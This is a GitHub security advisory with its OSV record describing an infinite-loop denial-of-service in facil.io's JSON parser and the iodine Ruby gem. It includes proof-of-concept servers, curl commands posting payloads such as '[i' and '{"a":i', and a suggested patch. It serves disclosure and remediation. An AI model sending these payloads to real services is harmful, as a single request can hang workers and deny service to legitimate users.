GHSA-2X79-GWQ3-VXXM

Vulnerability from github – Published: 2026-04-14 23:41 – Updated: 2026-04-14 23:41
VLAI?
Summary
Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem
Details

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

  • facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
  • iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
  • iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

  1. Inside an array or object, the parser sees i or I and jumps to the numeral: label.
  2. It calls fio_atol((char **)&tmp).
  3. For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
  4. The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
  5. JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
  6. Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

  1. The parser accepts the empty string "" as the first array element.
  2. It does not require a comma before the next token.
  3. The trailing i is then parsed as a new nested value.
  4. The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

  • Array form, minimal: [i
  • Object form: {"a":i
  • After a quoted value in an array: [""i
  • After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

  • facil.io commit: 162df84001d66789efa883eebb0567426d00148e
  • iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
  • standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

  • The server prints calling http_parse_body and never reaches returned from http_parse_body.
  • The request never completes.
  • One worker thread spins until the process is killed.

Downstream impact in iodine

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

  • Availability impact: high for affected parser entry points
  • Confidentiality impact: none observed
  • Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

  • ext/iodine/fio_json_parser.h

Impact

  • facil.io
  • Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
  • Verified on tagged releases 0.7.5 and 0.7.6
  • iodine Ruby gem
  • Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
  • Verified on tag / gem version v0.7.58
  • The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "iodine"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.7.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:41:06Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`fio_json_parse` can enter an infinite loop when it encounters a nested JSON value starting with `i` or `I`. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because `iodine` vendors the same parser code, the issue also affects `iodine` when it parses attacker-controlled JSON.\n\nThe smallest reproducer found is `[i`. The quoted-value form that originally exposed the issue, `[\"\"i`, reaches the same bug because the parser tolerates missing commas and then treats the trailing `i` as the start of another value.\n\n### Details\nThe vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`; `master`: lines `434-468` in the current tree as tested).\n\nThis parser is reached from real library entry points, not just the header in isolation:\n\n- `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`) and `402-411` (`fiobj_hash_update_json`)\n- `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`)\n- `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411`\n\nRelevant flow:\n\n1. Inside an array or object, the parser sees `i` or `I` and jumps to the `numeral:` label.\n2. It calls `fio_atol((char **)\u0026tmp)`.\n3. For a bare `i` / `I`, `fio_atol` consumes zero characters and leaves `tmp == pos`.\n4. The current code only falls back to float parsing when `JSON_NUMERAL[*tmp]` is true.\n5. `JSON_NUMERAL[\u0027i\u0027] == 0`, so the parser incorrectly accepts the value as an integer and sets `pos = tmp` without advancing.\n6. Because parsing is still nested (`parser-\u003edepth \u003e 0`), the outer loop continues forever with the same `pos`.\n\nThe same logic exists in `iodine`\u0027s vendored copy at `ext/iodine/fio_json_parser.h` lines `434-468`.\n\nWhy the `[\"\"i` form hangs:\n\n1. The parser accepts the empty string `\"\"` as the first array element.\n2. It does not require a comma before the next token.\n3. The trailing `i` is then parsed as a new nested value.\n4. The zero-progress numeral path above causes the infinite loop.\n\nExamples that trigger the bug:\n\n- Array form, minimal: `[i`\n- Object form: `{\"a\":i`\n- After a quoted value in an array: `[\"\"i`\n- After a quoted value in an object: `{\"a\":\"\"i`\n\n## PoC\nEnvironment used for verification:\n\n- `facil.io` commit: `162df84001d66789efa883eebb0567426d00148e`\n- `iodine` commit: `5bebba698d69023cf47829afe51052f8caa6c7f8`\n- standalone compile against `fio_json_parser.h`\n\n### Minimal standalone program\n\nUse the normal HTTP stack. The following server calls `http_parse_body(h)`, which reaches `fiobj_json2obj` and then `fio_json_parse` for `Content-Type: application/json`.\n\n```c\n#define _POSIX_C_SOURCE 200809L\n\n#include \u003cstdio.h\u003e\n#include \u003ctime.h\u003e\n#include \u003cfio.h\u003e\n#include \u003chttp.h\u003e\n\nstatic void on_request(http_s *h) {\n  fprintf(stderr, \"calling http_parse_body\\n\");\n  fflush(stderr);\n  http_parse_body(h);\n  fprintf(stderr, \"returned from http_parse_body\\n\");\n  http_send_body(h, \"ok\\n\", 3);\n}\n\nint main(void) {\n  if (http_listen(\"3000\", \"127.0.0.1\",\n                  .on_request = on_request,\n                  .max_body_size = (1024 * 1024),\n                  .log = 1) == -1) {\n    perror(\"http_listen\");\n    return 1;\n  }\n  fio_start(.threads = 1, .workers = 1);\n  return 0;\n}\n```\n\n`http_parse_body(h)` is the higher-level entry point and, for `Content-Type: application/json`, it reaches `fiobj_json2obj` in `lib/facil/http/http.c:1947-1953`.\n\nSave it as `src/main.c` in a vulnerable `facil.io` checkout and build it with the repo `makefile`:\n\n```bash\ngit checkout 0.7.6\nmkdir -p src\nmake NAME=http_json_poc\n```\n\nRun:\n\n```bash\n./tmp/http_json_poc\n```\n\nThen in another terminal send one of these payloads:\n\n```bash\nprintf \u0027[i\u0027 | curl --http1.1 -H \u0027Content-Type: application/json\u0027 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027{\"a\":i\u0027 | curl --http1.1 -H \u0027Content-Type: application/json\u0027 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027[\"\"i\u0027 | curl --http1.1 -H \u0027Content-Type: application/json\u0027 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027{\"a\":\"\"i\u0027 | curl --http1.1 -H \u0027Content-Type: application/json\u0027 -X POST --data-binary @- http://127.0.0.1:3000/\n```\n\nObserved result on a vulnerable build:\n\n- The server prints `calling http_parse_body` and never reaches `returned from http_parse_body`.\n- The request never completes.\n- One worker thread spins until the process is killed.\n\n### Downstream impact in `iodine`\n\n`iodine` vendors the same parser implementation in `ext/iodine/fio_json_parser.h`, so any `iodine` code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.\n\nSingle-file `iodine` HTTP server repro:\n\n```ruby\nrequire \"iodine\"\n\nAPP = proc do |env|\n  body = env[\"rack.input\"].read.to_s\n  warn \"calling Iodine::JSON.parse on: #{body.inspect}\"\n  Iodine::JSON.parse(body)\n  warn \"returned from Iodine::JSON.parse\"\n  [200, { \"Content-Type\" =\u003e \"text/plain\", \"Content-Length\" =\u003e \"3\" }, [\"ok\\n\"]]\nend\n\nIodine.listen service: :http,\n              address: \"127.0.0.1\",\n              port: \"3000\",\n              handler: APP\n\nIodine.threads = 1\nIodine.workers = 1\nIodine.start\n```\n\nRun:\n\n```bash\nruby iodine_json_parse_http_poc.rb\n```\n\nThen in a second terminal:\n\n```bash\nprintf \u0027[i\u0027 | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027{\"a\":i\u0027 | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027[\"\"i\u0027 | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027{\"a\":\"\"i\u0027 | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\n```\n\nOn a vulnerable build, the server prints the `calling Iodine::JSON.parse...` line but never prints the `returned from Iodine::JSON.parse` line for these payloads.\n\n## Impact\nThis is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.\n\nI would describe the impact as:\n\n- Availability impact: high for affected parser entry points\n- Confidentiality impact: none observed\n- Integrity impact: none observed\n\n## Suggested Patch\nTreat zero-consumption numeric parses as failures before accepting the token.\n\n```diff\ndiff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h\n@@\n       uint8_t *tmp = pos;\n       long long i = fio_atol((char **)\u0026tmp);\n       if (tmp \u003e limit)\n         goto stop;\n-      if (!tmp || JSON_NUMERAL[*tmp]) {\n+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {\n         tmp = pos;\n         double f = fio_atof((char **)\u0026tmp);\n         if (tmp \u003e limit)\n           goto stop;\n-        if (!tmp || JSON_NUMERAL[*tmp])\n+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])\n           goto error;\n         fio_json_on_float(parser, f);\n         pos = tmp;\n```\n\nThis preserves permissive `inf` / `nan` handling when the float parser actually consumes input, but rejects bare `i` / `I` tokens that otherwise leave the cursor unchanged.\n\nThe same change should be mirrored to `iodine`\u0027s vendored copy:\n\n- `ext/iodine/fio_json_parser.h`\n\n\n## Impact\n- `facil.io`\n  - Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e` (`git describe`: `0.7.5-24-g162df840`)\n  - Verified on tagged releases `0.7.5` and `0.7.6`\n- `iodine` Ruby gem\n  - Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8`\n  - Verified on tag / gem version `v0.7.58`\n  - The gem vendors a copy of the vulnerable parser in `ext/iodine/fio_json_parser.h`",
  "id": "GHSA-2x79-gwq3-vxxm",
  "modified": "2026-04-14T23:41:06Z",
  "published": "2026-04-14T23:41:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/boazsegev/facil.io/security/advisories/GHSA-2x79-gwq3-vxxm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/boazsegev/facil.io"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem"
}


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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


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